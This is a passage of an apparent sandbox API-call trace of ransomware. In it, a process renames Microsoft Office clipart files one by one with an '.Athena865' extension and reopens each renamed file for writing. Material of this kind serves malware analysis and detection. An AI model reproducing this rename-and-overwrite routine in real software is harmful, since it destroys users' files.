Office\\CLIPART\\PUB60COR\\PH03379I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.892] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11170) returned 1 [0133.896] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03380I.JPG" | out: lpString1="PH03380I.JPG") returned="PH03380I.JPG" [0133.896] lstrlenW (lpString="PH03380I.JPG") returned 12 [0133.896] lstrlenW (lpString="Athena865") returned 9 [0133.896] lstrcmpiW (lpString1="3380I.JPG", lpString2="Athena865") returned -1 [0133.896] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.Athena865") returned 73 [0133.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.athena865"), dwFlags=0x1) returned 1 [0133.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.897] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12831) returned 1 [0133.900] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03425I.JPG" | out: lpString1="PH03425I.JPG") returned="PH03425I.JPG" [0133.900] lstrlenW (lpString="PH03425I.JPG") returned 12 [0133.900] lstrlenW (lpString="Athena865") returned 9 [0133.900] lstrcmpiW (lpString1="3425I.JPG", lpString2="Athena865") returned -1 [0133.900] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.Athena865") returned 73 [0133.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.athena865"), dwFlags=0x1) returned 1 [0133.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.902] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=48558) returned 1 [0133.906] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PRRT.WMF" | out: lpString1="PRRT.WMF") returned="PRRT.WMF" [0133.906] lstrlenW (lpString="PRRT.WMF") returned 8 [0133.906] lstrlenW (lpString="Athena865") returned 9 [0133.906] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.Athena865") returned 69 [0133.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.athena865"), dwFlags=0x1) returned 1 [0133.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.908] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3830) returned 1 [0133.910] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PRRTINST.WMF" | out: lpString1="PRRTINST.WMF") returned="PRRTINST.WMF" [0133.910] lstrlenW (lpString="PRRTINST.WMF") returned 12 [0133.910] lstrlenW (lpString="Athena865") returned 9 [0133.910] lstrcmpiW (lpString1="TINST.WMF", lpString2="Athena865") returned 1 [0133.911] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.Athena865") returned 73 [0133.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.athena865"), dwFlags=0x1) returned 1 [0133.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.912] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31404) returned 1 [0133.916] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PSRETRO.WMF" | out: lpString1="PSRETRO.WMF") returned="PSRETRO.WMF" [0133.916] lstrlenW (lpString="PSRETRO.WMF") returned 11 [0133.916] lstrlenW (lpString="Athena865") returned 9 [0133.916] lstrcmpiW (lpString1="RETRO.WMF", lpString2="Athena865") returned 1 [0133.916] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.Athena865") returned 72 [0133.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.athena865"), dwFlags=0x1) returned 1 [0133.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.918] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=982) returned 1 [0133.928] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PSSKETLG.WMF" | out: lpString1="PSSKETLG.WMF") returned="PSSKETLG.WMF" [0133.928] lstrlenW (lpString="PSSKETLG.WMF") returned 12 [0133.928] lstrlenW (lpString="Athena865") returned 9 [0133.928] lstrcmpiW (lpString1="KETLG.WMF", lpString2="Athena865") returned 1 [0133.928] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.Athena865") returned 73 [0133.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.athena865"), dwFlags=0x1) returned 1 [0133.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.930] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3594) returned 1 [0133.933] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PSSKETSM.WMF" | out: lpString1="PSSKETSM.WMF") returned="PSSKETSM.WMF" [0133.933] lstrlenW (lpString="PSSKETSM.WMF") returned 12 [0133.933] lstrlenW (lpString="Athena865") returned 9 [0133.933] lstrcmpiW (lpString1="KETSM.WMF", lpString2="Athena865") returned 1 [0133.933] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.Athena865") returned 73 [0133.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.athena865"), dwFlags=0x1) returned 1 [0133.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.934] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1910) returned 1 [0133.939] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PSWAVY.WMF" | out: lpString1="PSWAVY.WMF") returned="PSWAVY.WMF" [0133.939] lstrlenW (lpString="PSWAVY.WMF") returned 10 [0133.939] lstrlenW (lpString="Athena865") returned 9 [0133.939] lstrcmpiW (lpString1="SWAVY.WMF", lpString2="Athena865") returned 1 [0133.939] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.Athena865") returned 71 [0133.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.athena865"), dwFlags=0x1) returned 1 [0133.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.941] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2834) returned 1 [0133.943] lstrcpyW (in: lpString1=0x241e8ae, lpString2="RE00006_.WMF" | out: lpString1="RE00006_.WMF") returned="RE00006_.WMF" [0133.943] lstrlenW (lpString="RE00006_.WMF") returned 12 [0133.943] lstrlenW (lpString="Athena865") returned 9 [0133.943] lstrcmpiW (lpString1="0006_.WMF", lpString2="Athena865") returned -1 [0133.943] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.Athena865") returned 73 [0133.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.945] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1772) returned 1 [0133.948] lstrcpyW (in: lpString1=0x241e8ae, lpString2="RECYCLE.WMF" | out: lpString1="RECYCLE.WMF") returned="RECYCLE.WMF" [0133.948] lstrlenW (lpString="RECYCLE.WMF") returned 11 [0133.948] lstrlenW (lpString="Athena865") returned 9 [0133.948] lstrcmpiW (lpString1="CYCLE.WMF", lpString2="Athena865") returned 1 [0133.948] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.Athena865") returned 72 [0133.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.athena865"), dwFlags=0x1) returned 1 [0133.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.949] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3350) returned 1 [0133.953] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ROAD_01.MID" | out: lpString1="ROAD_01.MID") returned="ROAD_01.MID" [0133.953] lstrlenW (lpString="ROAD_01.MID") returned 11 [0133.953] lstrlenW (lpString="Athena865") returned 9 [0133.953] lstrcmpiW (lpString1="AD_01.MID", lpString2="Athena865") returned -1 [0133.953] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.Athena865") returned 72 [0133.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.athena865"), dwFlags=0x1) returned 1 [0133.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.955] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5983) returned 1 [0133.957] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SAFRI_01.MID" | out: lpString1="SAFRI_01.MID") returned="SAFRI_01.MID" [0133.957] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0133.958] lstrlenW (lpString="Athena865") returned 9 [0133.958] lstrcmpiW (lpString1="RI_01.MID", lpString2="Athena865") returned 1 [0133.958] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.Athena865") returned 73 [0133.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.athena865"), dwFlags=0x1) returned 1 [0133.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.969] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10122) returned 1 [0133.974] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SCHOL_02.MID" | out: lpString1="SCHOL_02.MID") returned="SCHOL_02.MID" [0133.974] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0133.975] lstrlenW (lpString="Athena865") returned 9 [0133.975] lstrcmpiW (lpString1="OL_02.MID", lpString2="Athena865") returned 1 [0133.975] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.Athena865") returned 73 [0133.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.athena865"), dwFlags=0x1) returned 1 [0133.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.979] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5058) returned 1 [0133.986] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SHOW_01.MID" | out: lpString1="SHOW_01.MID") returned="SHOW_01.MID" [0133.986] lstrlenW (lpString="SHOW_01.MID") returned 11 [0133.987] lstrlenW (lpString="Athena865") returned 9 [0133.988] lstrcmpiW (lpString1="OW_01.MID", lpString2="Athena865") returned 1 [0133.989] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.Athena865") returned 72 [0133.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.athena865"), dwFlags=0x1) returned 1 [0133.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.993] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6392) returned 1 [0133.999] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00256_.WMF" | out: lpString1="SL00256_.WMF") returned="SL00256_.WMF" [0133.999] lstrlenW (lpString="SL00256_.WMF") returned 12 [0134.000] lstrlenW (lpString="Athena865") returned 9 [0134.000] lstrcmpiW (lpString1="0256_.WMF", lpString2="Athena865") returned -1 [0134.000] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.Athena865") returned 73 [0134.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.007] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10762) returned 1 [0134.009] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00260_.WMF" | out: lpString1="SL00260_.WMF") returned="SL00260_.WMF" [0134.010] lstrlenW (lpString="SL00260_.WMF") returned 12 [0134.010] lstrlenW (lpString="Athena865") returned 9 [0134.010] lstrcmpiW (lpString1="0260_.WMF", lpString2="Athena865") returned -1 [0134.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.Athena865") returned 73 [0134.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.011] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31908) returned 1 [0134.014] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00268_.WMF" | out: lpString1="SL00268_.WMF") returned="SL00268_.WMF" [0134.014] lstrlenW (lpString="SL00268_.WMF") returned 12 [0134.014] lstrlenW (lpString="Athena865") returned 9 [0134.014] lstrcmpiW (lpString1="0268_.WMF", lpString2="Athena865") returned -1 [0134.015] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.Athena865") returned 73 [0134.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.016] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3932) returned 1 [0134.019] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00286_.WMF" | out: lpString1="SL00286_.WMF") returned="SL00286_.WMF" [0134.019] lstrlenW (lpString="SL00286_.WMF") returned 12 [0134.019] lstrlenW (lpString="Athena865") returned 9 [0134.019] lstrcmpiW (lpString1="0286_.WMF", lpString2="Athena865") returned -1 [0134.019] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.Athena865") returned 73 [0134.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.021] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7596) returned 1 [0134.024] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SL00298_.WMF" | out: lpString1="SL00298_.WMF") returned="SL00298_.WMF" [0134.024] lstrlenW (lpString="SL00298_.WMF") returned 12 [0134.024] lstrlenW (lpString="Athena865") returned 9 [0134.024] lstrcmpiW (lpString1="0298_.WMF", lpString2="Athena865") returned -1 [0134.024] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.Athena865") returned 73 [0134.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, 